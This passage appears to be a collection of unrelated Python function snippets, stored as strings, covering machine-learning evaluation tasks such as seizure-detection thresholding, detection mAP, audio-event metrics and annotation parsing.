np.array(per_arr_cv)\n n_per = per_arr_cv.shape[0]\n F1_per = np.zeros((n_per, n_patients))\n # determine threshold\n all_trust_scores = []\n for pat_id in pat_ids_arr:\n dict_str = 'fld_' + str(fld_number) + '_run_' + str(run_number) + '_pat_id_' + str(pat_id)\n all_trust_scores = all_trust_scores + list(dict_trust_cv[dict_str])\n for pat_cnt in range(n_patients):\n pat_id = pat_ids_arr[pat_cnt]\n pid_str = str(pat_id)\n labels_all = dict_labels[pid_str]\n predictions_all = dict_predictions[pid_str]\n idx_pat_to_check = dict_idx_to_check[pid_str]\n dict_str = 'fld_' + str(fld_number) + '_run_' + str(run_number) + '_pat_id_' + str(pat_id)\n trust_scores_pat = dict_trust_cv[dict_str]\n seizure_timings = dict_seizure_timings[pid_str]\n for per_cnt in range(n_per):\n per = per_arr_cv[per_cnt]\n threshold_trust_scores = np.percentile(all_trust_scores, per)\n # loop over the recordings of the patient\n TP = 0\n FP = 0\n FN = 0\n total_seizures = 0\n F1 = 0.\n seizure_flags, n_not_trusted = af.calculate_seizure_flags_w_trustscores_threshold_fast(label_input=predictions_all,\n trust_scores=trust_scores_pat, threshold_value=threshold_trust_scores, idx_to_check=idx_pat_to_check)\n # calculate F1\n TP, FP, FN, total_seizures, det_del, detected_seizure_timings, FP_times = af.precision_metrics_kaat_10s(seizure_flags, seizure_timings)\n if total_seizures > 0: \n if int(TP) > 0:\n F1 = 2.*TP / (2.*TP + FP + FN)\n else:\n F1 = 0.\n F1_per[per_cnt, pat_cnt] = F1 \n else:\n F1_per[per_cnt, pat_cnt] = np.nan\n F1_av = []\n for i in range(n_per):\n F1_av.append(np.nanmean(F1_per[i, :]))\n print('F1 = ' + str(F1_av))\n F1_av = np.array(F1_av)\n where_max = np.argmax(F1_av)\n max_per = per_arr_cv[where_max]\n max_threshold = np.percentile(all_trust_scores, max_per)\n del all_trust_scores\n return max_threshold","def quantile_binning_predictions(\n uncertainties_test: Dict[str, Union[int, float]],\n uncert_thresh: List[List[float]],\n save_pred_path: Optional[str] = None,\n) -> Dict[str, int]:\n # Test if dictionary correct structure\n if not isinstance(uncertainties_test, dict):\n raise ValueError(\"uncertainties_test must be of type dict\")\n else:\n for i, (key, fc) in enumerate(uncertainties_test.items()):\n if not isinstance(key, str) or (not isinstance(fc, float) and not isinstance(fc, int)):\n raise ValueError(\n r\"Dict uncertainties_test should be of structure {string_id1: float_uncertainty1/int_uncertainty1, string_id2: float_uncertainty2/int_uncertainty2 } \"\n )\n\n if np.array(uncert_thresh).shape != (len(uncert_thresh), 1):\n raise ValueError(\"uncert_thresh list should be 2D e.g. [[0.1], [0.2], [0.3]] \")\n\n all_binned_errors = {}\n\n for i, (key, fc) in enumerate(uncertainties_test.items()):\n for q in range(len(uncert_thresh) + 1):\n if q == 0:\n lower_c_bound = uncert_thresh[q][0]\n\n if fc <= lower_c_bound:\n all_binned_errors[key] = q\n\n elif q < len(uncert_thresh):\n lower_c_bound = uncert_thresh[q - 1][0]\n upper_c_bound = uncert_thresh[q][0]\n\n if fc <= upper_c_bound:\n if fc > lower_c_bound:\n all_binned_errors[key] = q\n\n # Finally do the last bin\n else:\n lower_c_bound = uncert_thresh[q - 1][0]\n\n if fc > lower_c_bound:\n all_binned_errors[key] = q\n\n return all_binned_errors","def process_file_metrics(root_dir, in_file_names, file_processors):\n manager = mp.Manager()\n file_metrics = manager.dict()\n\n parameters = [(root_dir, key, file_metrics, file_processors) for key in in_file_names]\n\n # main loop\n p = mp.Pool(max(1, mp.cpu_count() - 1))\n p.starmap(_process_file_metrics_parallel, parameters)\n p.close()\n p.join()\n\n return file_metrics","def load_bresults(filename):\n mandatory_cols = ['target', 'position', 'trigger', 'trialTime', 'duration']\n optional_cols = ['correct', 'response', 'rt', 'numeric_target']\n\n hand_mapping = _get_hand_mapping_from_filename(filename)\n\n fp = open(filename, 'r')\n reader = csv.DictReader(fp)\n\n result = {}\n\n try:\n\n for field in mandatory_cols:\n if field not in reader.fieldnames:\n raise Exception('Column \"{:}\" missing in file {:}'.format(field, filename))\n optional_cols = [field for field in optional_cols if field in reader.fieldnames]\n\n is_string_targets = 'numeric_target' in optional_cols\n\n for row in reader:\n\n if is_string_targets:\n target = int(row['numeric_target'])\n stimulus = row['target']\n else:\n stimulus = row['target']\n target = int(stimulus) if stimulus.isdigit() else -1\n\n result.setdefault('stimulus', []).append(stimulus)\n result.setdefault('target', []).append(target)\n\n for field in mandatory_cols[1:] + optional_cols:\n result.setdefault(field, []).append(int(float(row[field])))\n\n if hand_mapping is not None:\n result.setdefault('handmapping', []).append(hand_mapping)\n\n finally:\n fp.close()\n\n #-- Convert all arrays to np.array's\n result = {k: np.array(result[k]) for k in result.keys()}\n\n return result","def eval_batch(self, outputs, target):\n raise NotImplementedError","def select_targets(infiles, numproc=4, verbose=False):\n #- Convert single file to list of files\n if isinstance(infiles, (str, unicode)):\n infiles = [infiles,]\n\n #- Sanity check that files exist before going further\n for filename in infiles:\n if not os.path.exists(filename):\n raise ValueError(\"{} doesn't exist\".format(filename))\n \n #- function to run on every brick/sweep file\n def _select_targets_file(filename):\n '''Returns targets in filename that pass the cuts'''\n objects = io.read_tractor(filename)\n desi_target, bgs_target, mws_target = apply_cuts(objects)\n \n #- desi_target includes BGS_ANY and MWS_ANY, so we can filter just\n #- on desi_target != 0\n keep = (desi_target != 0)\n objects = objects[keep]\n desi_target = desi_target[keep]\n bgs_target = bgs_target[keep]\n mws_target = mws_target[keep]\n\n #- Add *_target mask columns\n targets = desitarget.targets.finalize(\n objects, desi_target, bgs_target, mws_target)\n\n return io.fix_tractor_dr1_dtype(targets)\n\n # Counter for number of bricks processed;\n # a numpy scalar allows updating nbrick in python 2\n # c.f https://www.python.org/dev/peps/pep-3104/\n nbrick = np.zeros((), dtype='i8')\n\n t0 = time()\n def _update_status(result):\n ''' wrapper function for the critical reduction operation,\n that occurs on the main parallel process '''\n if verbose and nbrick%50 == 0 and nbrick>0:\n rate = nbrick / (time() - t0)\n print('{} files; {:.1f} files/sec'.format(nbrick, rate))\n\n nbrick[...] += 1 # this is an in-place modification\n return result\n\n #- Parallel process input files\n if numproc > 1:\n pool = sharedmem.MapReduce(np=numproc)\n with pool:\n targets = pool.map(_select_targets_file, infiles, reduce=_update_status)\n else:\n targets = list()\n for x in infiles:\n targets.append(_update_status(_select_targets_file(x)))\n \n targets = np.concatenate(targets)\n \n return targets","def run_check(output_file,\n documents,\n queries,\n results,\n ext=\".xhtml\",\n formula_bags=False,\n keep_words=True,\n keep_math=True\n ):\n with open(output_file, \"w+\") as out:\n analyzer = Analyzer(formula_bags=formula_bags,\n keep_words=keep_words,\n keep_math=keep_math)\n queries = Queries(queries).get_queries()\n results = Results(results)\n print(\"{},{},{},{},{},{},{},{},{},{},{}\".format(\"Query\",\n \"Document\",\n \"Doc-Length\",\n \"Ranking\",\n \"Span\",\n \"Min-Span\",\n \"Normalized-Span\",\n \"Normalized-Min-Span\",\n \"Min-Distance\",\n \"Ave-Distance\",\n \"Max-Distance\"),\n file=out)\n undefined_docs = []\n for q in tqdm(range(0, len(queries))):\n query = queries[q]\n for doc in results.documents_for_query(query):\n try:\n document = Document(os.path.join(documents, doc + ext))\n (tf_dic, __) = document.lookup_dictionaries(analyzer)\n relevant = lookup_relevant(results.find_score(query, doc))\n try:\n dist = calculate_distances(query, tf_dic)\n doc_length = sum([len(tf_dic[key])\n for key in tf_dic.keys()])\n print(\"{},{},{},{},{}\".format(query,\n document,\n doc_length,\n relevant,\n \",\".join([str(d)\n for d in dist])),\n file=out)\n except DistancesUndefinedException:\n undefined_docs.append((document, relevant, query))\n except FileNotFoundError:\n print(\"Error in opening document: {}\".format(doc))\n print(\"Documents with undefined Distances\")\n for doc in undefined_docs:\n print(\"{}:{}:{}\".format(doc[2], doc[0], doc[1]))","def eval_multiple(ckpt_fnames, frames, labels, eval_fn, averaging=False):\n mean_acc, mean_map = 0.0, 0.0\n pyramid_len = 0\n\n for ckpt_fname in ckpt_fnames:\n if not tf.train.checkpoint_exists(ckpt_fname):\n print('Checkpoint does not exist', ckpt_fname)\n continue\n results_dict = eval_one(ckpt_fname, frames, labels, eval_fn)\n if isinstance(results_dict, list):\n if not isinstance(mean_acc, list):\n mean_acc = [mean_acc]\n mean_map = [mean_map]\n pyramid_len = len(results_dict)\n\n output_fname = os.path.join(\n FLAGS.testlogdir,\n 'results_dict_{}.pkl'.format(os.path.basename(ckpt_fname)))\n with open(output_fname, 'wb') as f:\n pickle.dump(results_dict, f)\n\n if pyramid_len:\n for scale in range(pyramid_len):\n mean_acc[scale] += results_dict[scale]['frame_accuracy']\n mean_map[scale] += results_dict[scale]['mAP']\n else:\n mean_acc += results_dict['frame_accuracy']\n mean_map += results_dict['mAP']\n\n if averaging:\n print('Overall acc:', np.array(mean_acc) / len(ckpt_fnames))\n print('Overall mAP:', np.array(mean_map) / len(ckpt_fnames))\n pass","def apply_model(infile_pred,\n\t\t\t\tinfile_model,\n\t\t\t\tinfile_features,\n\t\t\t\tthreshold_prob=0.5,\n\t\t\t\twindowed_peak_picking=False,\n\t\t\t\tout_dir=\"res/\",\n\t\t\t\ttop_peaks=50,\n\t\t\t\tmax_distance=275,\n\t\t\t\tdistance_bins=0.005):\n\t\n\t#Read the to be used m/z bins (features)\n\tfeatures = [f.strip() for f in open(infile_features).readlines()]\n\t\n\t#Check the file extension and parse to get features\n\tif infile_pred.endswith(\".mgf\"): \n\t\tfeats,feat_bins,instance_names,count_inst = read_mgf(infile_pred,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t sum_feats=False,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t feat_bins=features,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t max_dist=max_distance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t step_size=distance_bins,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t top_peaks=top_peaks)\n\telif infile_pred.endswith(\".msp\"): \n\t\tfeats,feat_bins,instance_names,count_inst = read_msp(infile_pred,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t sum_feats=False,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t feat_bins=features,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t max_dist=max_distance,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t step_size=distance_bins,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t top_peaks=top_peaks)\n\telse: return(False)\n\t\n\t#print(feats.shape)\n\t#print(feats)\n\t#print(len(instance_names))\n\t#print(instance_names)\n\t\n\t#Load the XGBoost model\n\trandom_search_res_xgb = pickle.load(open(infile_model,\"rb\"))\n\t\n\t#Format the preds\n\tpreds = pd.DataFrame(random_search_res_xgb.predict_proba(feats),index=instance_names,columns=[\"Prob_class_0\",\"Prob_class_1\"])\n\t#print(preds)\n\t\n\t#Plot the probabilities\n\tpd.Series(preds[\"Prob_class_1\"]).plot(kind=\"density\")\n\taxes = plt.gca()\n\taxes.set_xlim([0.0,1.0])\n\taxes.set_ylim([0.0,1.0])\n\tplt.savefig(out_dir+\"density_groups_zoomed.png\", bbox_inches=\"tight\")\n\tplt.close()\n\t\n\t#Threshold probabilities\n\t#print(list(preds.index[preds[\"Prob_class_1\"] > threshold_prob]))\n\tpreds.to_csv(out_dir+\"predictions.csv\")","def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\n # verify sample\n expected_keys = [f\"target.{key}\" for key in EXPECTED_TARGET_KEYS]\n if task1:\n expected_keys += [f\"task1_pred.{key}\" for key in EXPECTED_TASK1_PRED_KEYS]\n if task2:\n expected_keys += [f\"task2_pred.{key}\" for key in EXPECTED_TASK2_PRED_KEYS]\n set(expected_keys).issubset(set(sample_dict.keypaths()))\n\n # convert scores to numpy array\n # task 1\n if task1:\n task1_pred = []\n for cls_name in TASK1_CLASS_NAMES:\n task1_pred.append(sample_dict[f\"task1_pred.{cls_name}-score\"])\n task1_pred_array = np.array(task1_pred)\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\"\n )\n sample_dict[\"task1_pred.array\"] = task1_pred_array\n\n # task 2\n if task2:\n task2_pred = []\n for cls_name in TASK2_CLASS_NAMES:\n task2_pred.append(sample_dict[f\"task2_pred.{cls_name}-score\"])\n task2_pred_array = np.array(task2_pred)\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\n print(\n f\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\"\n )\n sample_dict[\"task2_pred.array\"] = task2_pred_array\n\n return sample_dict","def evaluate(in_prediction_filename, in_answer_filename):\n with open(in_prediction_filename) as fin:\n predicted_tags = [l.strip() for l in fin.readlines() if len(l.strip()) != 0]\n\n with open(in_answer_filename) as fin:\n ground_truth_tags = [l.strip() for l in fin.readlines() if len(l.strip()) != 0]\n\n assert len(predicted_tags) == len(ground_truth_tags)\n correct = 0\n for pred, truth in zip(predicted_tags, ground_truth_tags):\n if pred == truth: correct += 1\n return correct, len(predicted_tags), correct/len(predicted_tags)","def _evaluate(self, targets: jnp.ndarray) -> jnp.ndarray:\n pass","def evaluation(eval_dict, faster_rcnn, test_num=Config.eval_num):\n bboxes, labels, scores = list(), list(), list()\n gt_bboxes, gt_labels, gt_difficult = list(), list(), list()\n for i, [img_dir, img_info] in tqdm(enumerate(eval_dict.items())):\n img, img_info = rescale_image(img_dir, img_info, flip=False)\n img_tensor = create_img_tensor(img)\n box, score, label = faster_rcnn.predict(img_tensor)\n gt_bbox = np.array(img_info['objects'])[:, 1:5].astype(np.float32)\n gt_label = np.array(img_info['objects'])[:, 0]\n difficult = np.array(img_info['difficult'])\n\n # label from text to number\n gt_label = text_to_num(gt_label)\n\n bboxes.append(box)\n labels.append(label)\n scores.append(score)\n gt_bboxes.append(gt_bbox)\n gt_labels.append(gt_label)\n gt_difficult.append(difficult)\n if i == test_num:\n break\n\n AP, mAP = calc_map(bboxes, labels, scores, gt_bboxes, gt_labels, gt_difficult, use_07_metric=True)\n\n return mAP","def evaluate(pred, ground_truth, target, count_to_level = False, Y_name = None, thresholds = None, print_metrics=True):\n \n if target == 'count':\n \n # fill NaNs with zeroes\n pred = pred.fillna(method = \"ffill\")\n pred = pred.fillna(method = \"bfill\")\n ground_truth = ground_truth.fillna(method = \"ffill\")\n ground_truth = ground_truth.fillna(method = \"bfill\")\n \n # Set negative predictions to zero\n pred[pred < 0] = 0\n ground_truth[ground_truth < 0] = 0\n \n # Calculate error metrics\n rmse = mean_squared_error(ground_truth, pred, squared=False)\n mae = mean_absolute_error(ground_truth, pred)\n \n # Calculate error metrics only for crowded moments (p75) \n busy = np.percentile(ground_truth, 75)\n ground_truth_busy = ground_truth[ground_truth > busy].dropna()\n pred_busy = pred[ground_truth > busy].dropna()\n rmse_busy = mean_squared_error(ground_truth_busy, pred_busy, squared=False)\n mae_busy = mean_absolute_error(ground_truth_busy, pred_busy)\n \n # Store error metrics in dict\n error_metrics = dict({'rmse': rmse, 'rmse_busy': rmse_busy, 'mae': mae, 'mae_busy': mae_busy})\n \n if print_metrics:\n print(f\"Root mean squared error: {rmse.round(1)}\")\n print(f\"Root mean squared error (crowded): {rmse_busy.round(1)}\")\n print(f\"Mean absolute error: {mae.round(1)}\")\n print(f\"Mean absolute error (crowded): {mae_busy.round(1)}\")\n \n if count_to_level:\n pred = get_crowd_levels(pred, Y_name, thresholds)\n ground_truth = get_crowd_levels(ground_truth, Y_name, thresholds)\n \n # Confusion matrix\n conf_mat = confusion_matrix(ground_truth, pred)\n \n error_metrics['conf_mat'] = conf_mat\n \n elif target == \"level\":\n \n # Set dtype to category\n pred = pred.astype('category')\n ground_truth = ground_truth.astype('category')\n \n # Forward fill NaNs\n pred = pred.fillna(method = \"ffill\")\n ground_truth = ground_truth.fillna(method = \"ffill\")\n \n # Confusion matrix\n conf_mat = confusion_matrix(ground_truth, pred)\n \n # Classification report (recall, precision, F1)\n class_report = classification_report(ground_truth, pred, output_dict = True)\n class_report = pd.DataFrame(class_report).transpose()\n \n error_metrics = dict({\"conf_mat\": conf_mat, \"class_report\": class_report})\n \n if print_metrics:\n print(f\"Confusion matrix: {conf_mat}\")\n print(f\"Classification report: {class_report}\")\n \n return error_metrics","def do_system_evaluation(dataset, result_path, dataset_evaluation_mode='folds'):\n\n # Set warnings off, sklearn metrics will trigger warning for classes without\n # predicted samples in F1-scoring. This is just to keep printing clean.\n warnings.simplefilter(\"ignore\")\n\n overall_metrics_per_scene = {}\n\n for scene_id, scene_label in enumerate(dataset.scene_labels):\n if scene_label not in overall_metrics_per_scene:\n overall_metrics_per_scene[scene_label] = {}\n\n dcase2016_segment_based_metric = DCASE2016_EventDetection_SegmentBasedMetrics(class_list=dataset.event_labels(scene_label=scene_label))\n dcase2016_event_based_metric = DCASE2016_EventDetection_EventBasedMetrics(class_list=dataset.event_labels(scene_label=scene_label))\n\n for fold in dataset.folds(mode=dataset_evaluation_mode):\n results = []\n result_filename = get_result_filename(fold=fold, scene_label=scene_label, path=result_path)\n\n if os.path.isfile(result_filename):\n with open(result_filename, 'rt') as f:\n for row in csv.reader(f, delimiter='\\t'):\n results.append(row)\n else:\n raise IOError(\"Result file not found [%s]\" % result_filename)\n\n for file_id, item in enumerate(dataset.test(fold, scene_label=scene_label)):\n current_file_results = []\n for result_line in results:\n if len(result_line) != 0 and result_line[0] == dataset.absolute_to_relative(item['file']):\n current_file_results.append(\n {'file': result_line[0],\n 'event_onset': float(result_line[1]),\n 'event_offset': float(result_line[2]),\n 'event_label': result_line[3].rstrip()\n }\n )\n meta = dataset.file_meta(dataset.absolute_to_relative(item['file']))\n\n dcase2016_segment_based_metric.evaluate(system_output=current_file_results, annotated_ground_truth=meta)\n dcase2016_event_based_metric.evaluate(system_output=current_file_results, annotated_ground_truth=meta)\n\n overall_metrics_per_scene[scene_label]['segment_based_metrics'] = dcase2016_segment_based_metric.results()\n overall_metrics_per_scene[scene_label]['event_based_metrics'] = dcase2016_event_based_metric.results()\n\n print \" Evaluation over %d folds\" % dataset.fold_count\n print \" \"\n print \" Results per scene \"\n print \" {:18s} | {:5s} | | {:39s} \".format('', 'Main', 'Secondary metrics')\n print \" {:18s} | {:5s} | | {:38s} | {:14s} | {:14s} | {:14s} \".format('', '', 'Seg/Overall','Seg/Class', 'Event/Overall','Event/Class')\n print \" {:18s} | {:5s} | | {:6s} : {:5s} : {:5s} : {:5s} : {:5s} | {:6s} : {:5s} | {:6s} : {:5s} | {:6s} : {:5s} |\".format('Scene', 'ER', 'F1', 'ER', 'ER/S', 'ER/D', 'ER/I', 'F1', 'ER', 'F1', 'ER', 'F1', 'ER')\n print \" -------------------+-------+ +--------+-------+-------+-------+-------+--------+-------+--------+-------+--------+-------+\"\n averages = {\n 'segment_based_metrics': {\n 'overall': {\n 'ER': [],\n 'F': [],\n },\n 'class_wise_average': {\n 'ER': [],\n 'F': [],\n }\n },\n 'event_based_metrics': {\n 'overall': {\n 'ER': [],\n 'F': [],\n },\n 'class_wise_average': {\n 'ER': [],\n 'F': [],\n }\n },\n }\n for scene_id, scene_label in enumerate(dataset.scene_labels):\n print \" {:18s} | {:5.2f} | | {:4.1f} % : {:5.2f} : {:5.2f} : {:5.2f} : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} |\".format(scene_label,\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'],\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['F'] * 100,\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'],\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['S'],\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['D'],\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['I'],\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F']*100,\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'],\n overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['F']*100,\n overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['ER'],\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F']*100,\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'],\n )\n averages['segment_based_metrics']['overall']['ER'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['ER'])\n averages['segment_based_metrics']['overall']['F'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['overall']['F'])\n averages['segment_based_metrics']['class_wise_average']['ER'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'])\n averages['segment_based_metrics']['class_wise_average']['F'].append(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F'])\n averages['event_based_metrics']['overall']['ER'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['ER'])\n averages['event_based_metrics']['overall']['F'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['overall']['F'])\n averages['event_based_metrics']['class_wise_average']['ER'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'])\n averages['event_based_metrics']['class_wise_average']['F'].append(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F'])\n\n print \" -------------------+-------+ +--------+-------+-------+-------+-------+--------+-------+--------+-------+--------+-------+\"\n print \" {:18s} | {:5.2f} | | {:4.1f} % : {:5.2f} : {:21s} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} | {:4.1f} % : {:5.2f} |\".format('Average',\n numpy.mean(averages['segment_based_metrics']['overall']['ER']),\n numpy.mean(averages['segment_based_metrics']['overall']['F'])*100,\n numpy.mean(averages['segment_based_metrics']['overall']['ER']),\n ' ',\n numpy.mean(averages['segment_based_metrics']['class_wise_average']['F'])*100,\n numpy.mean(averages['segment_based_metrics']['class_wise_average']['ER']),\n numpy.mean(averages['event_based_metrics']['overall']['F'])*100,\n numpy.mean(averages['event_based_metrics']['overall']['ER']),\n numpy.mean(averages['event_based_metrics']['class_wise_average']['F'])*100,\n numpy.mean(averages['event_based_metrics']['class_wise_average']['ER']),\n )\n\n print \" \"\n # Restore warnings to default settings\n warnings.simplefilter(\"default\")\n print \" Results per events \"\n\n for scene_id, scene_label in enumerate(dataset.scene_labels):\n print \" \"\n print \" \"+scene_label.upper()\n print \" {:20s} | {:30s} | | {:15s} \".format('', 'Segment-based', 'Event-based')\n print \" {:20s} | {:5s} : {:5s} : {:6s} : {:5s} | | {:5s} : {:5s} : {:6s} : {:5s} |\".format('Event', 'Nref', 'Nsys', 'F1', 'ER', 'Nref', 'Nsys', 'F1', 'ER')\n print \" ---------------------+-------+-------+--------+-------+ +-------+-------+--------+-------+\"\n seg_Nref = 0\n seg_Nsys = 0\n\n event_Nref = 0\n event_Nsys = 0\n for event_label in sorted(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise']):\n print \" {:20s} | {:5d} : {:5d} : {:4.1f} % : {:5.2f} | | {:5d} : {:5d} : {:4.1f} % : {:5.2f} |\".format(event_label,\n int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nref']),\n int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nsys']),\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['F']*100,\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['ER'],\n int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nref']),\n int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nsys']),\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['F']*100,\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['ER'])\n seg_Nref += int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nref'])\n seg_Nsys += int(overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise'][event_label]['Nsys'])\n\n event_Nref += int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nref'])\n event_Nsys += int(overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise'][event_label]['Nsys'])\n print \" ---------------------+-------+-------+--------+-------+ +-------+-------+--------+-------+\"\n print \" {:20s} | {:5d} : {:5d} : {:14s} | | {:5d} : {:5d} : {:14s} |\".format('Sum',\n seg_Nref,\n seg_Nsys,\n '',\n event_Nref,\n event_Nsys,\n '')\n print \" {:20s} | {:5s} {:5s} : {:4.1f} % : {:5.2f} | | {:5s} {:5s} : {:4.1f} % : {:5.2f} |\".format('Average',\n '', '',\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['F']*100,\n overall_metrics_per_scene[scene_label]['segment_based_metrics']['class_wise_average']['ER'],\n '', '',\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['F']*100,\n overall_metrics_per_scene[scene_label]['event_based_metrics']['class_wise_average']['ER'])\n print \" \"","def read_participant_run(file, task=2, subset=None):\n annotation_dict = defaultdict(lambda: defaultdict(list))\n\n with open(file, 'r') as f:\n for row in f:\n row_unrolled = row[:-1].split(';')\n image_id = row_unrolled[0]\n if subset and image_id not in subset:\n continue\n predictions = row_unrolled[1:]\n\n for prediction in predictions:\n if prediction[-1] == ' ':\n prediction = prediction[:-1]\n\n substrate, polygons = prediction.split(' ')\n for polygon in polygons.split(','):\n confidence, values = polygon.split(':')\n if task == 1:\n width_height, x_min, y_min = values.split('+')\n if not width_height or not x_min or not y_min:\n print(\"Couldnt find\")\n print(f\"{image_id}, {file}\")\n continue\n width, height = width_height.split('x')\n width, height = int(width), int(height)\n x_min, y_min = int(x_min), int(y_min)\n x_max = x_min + width\n y_max = y_min + height\n\n processed_polygon = [(x_min, y_min), (x_min, y_max),\n (x_max, y_max), (x_max, y_min)]\n elif task == 2:\n values_list = values.split('+')\n processed_polygon = [\n (int(x), int(y))\n for x, y in zip(values_list[::2], values_list[1::2])\n ]\n\n annotation_dict[image_id][substrate] += [processed_polygon]\n\n return annotation_dict","def painting_matching_ml(imgs, db_imgs, method_list, text_masks, author_text, gt_text, metrics, weights, splits=30, max_rank=10):\n descriptor_extractors = [get_descriptor_extractor(method_name) for method_name in method_list]\n tmp_img_format = []\n tmp_mask_format = []\n tmp_text_format = []\n for i in range(len(imgs)):\n for j in range(len(imgs[i])):\n tmp_img_format.append(imgs[i][j])\n tmp_mask_format.append(text_masks[i][j])\n tmp_text_format.append(author_text[i][j])\n\n #db_imgs = [img[0] for img in db_imgs]\n db_img_splits = [i*len(db_imgs)//splits for i in range(splits-1)]\n \n scores = []\n query_descriptors = extract_descriptors(tmp_img_format, descriptor_extractors, method_list, tmp_text_format, tmp_mask_format) \n #np.array([extract_descriptors(img, matching_methods, mask) for img, mask in zip(tmp_img_format, tmp_mask_format)])\n print(\"Starting db extraction + matching\")\n for split in tqdm(range(splits-2)):\n db_descriptors = extract_descriptors(db_imgs[db_img_splits[split]:db_img_splits[split+1]], descriptor_extractors, method_list, gt_text[db_img_splits[split]:db_img_splits[split+1]], None) #np.array([mrhm(db_img) for db_img in db_imgs[db_img_splits[split]:db_img_splits[split+1]]])\n scores.append(compare_descriptors(query_descriptors, db_descriptors, metrics, method_list, weights))\n # compare_descriptors(query_descriptors, db_descriptors, descriptor_comp_methods, descriptor_names, weights)\n db_descriptors = extract_descriptors(db_imgs[db_img_splits[-1]:], descriptor_extractors, method_list, gt_text[db_img_splits[-1]:], None)\n scores.append(compare_descriptors(query_descriptors, db_descriptors, metrics, method_list, weights))\n \n # concatenate all the results\n scores = np.concatenate(scores, 1)\n \n top_k_matches = np.argpartition(scores, list(range(max_rank)))[:, :max_rank]\n return top_k_matches","def evaluate_samples(self, samples, eval_key=None, mask_targets=None):\n pass","def compute_metric_scores(positive_data, negative_data, instance_prediction, query_roles, role_to_values,\n ignore_non_object=True, save_dir=None, verbose=True):\n # check predictions\n # NOTE: negative_data not included below bc I am only doing a\n # single role at a time; however, negative_data contains negatives\n # for all roles. Therefore, the check would always fail. Removing\n # negative_data should not affect performance\n #for instance in positive_data:# + negative_data:\n # assert tuple(instance) in instance_prediction\n\n # save results and qualitative examples to file\n if save_dir:\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n\n results = {}\n for query_role in query_roles:\n\n # storing some stats\n # storing the rank of each positive instance\n query_ranks = []\n # number of negative instances generated for each positive instance\n num_negative_instances = []\n # number of roles that are the query role\n num_query_role = []\n # number of testing instance\n num_positive_instances = 0\n\n # storing each instance as a tuple of (groundtruth label, score, instance)\n test_instance_to_perturbed_instances = {}\n candidate_values = role_to_values[query_role]\n for instance in positive_data:\n # important: there may be multiple roles that are the query role in the instance. For example, an object\n # can have more than one colors\n # position(s) of the query role in this positive instance\n query_role_pos = []\n object_class = None\n for i, rv_pair in enumerate(instance):\n if rv_pair[0] == query_role:\n query_role_pos.append(i)\n if rv_pair[0] == \"class\":\n object_class = rv_pair[1]\n\n if len(query_role_pos) == 0:\n continue\n\n if ignore_non_object:\n if object_class is None or object_class not in role_to_values[\"class\"]:\n continue\n\n # generate negative instances by perturbing the positive instance\n perturbed_instances = set()\n for role_i in query_role_pos:\n for perturbed_value in candidate_values:\n perturbed_instance = copy.deepcopy(instance)\n perturbed_instance[role_i] = (query_role, perturbed_value)\n perturbed_instance = sorted(perturbed_instance)\n # Important: the following is used to filter out instances that are positive instances in\n # test, train, or valid set\n if 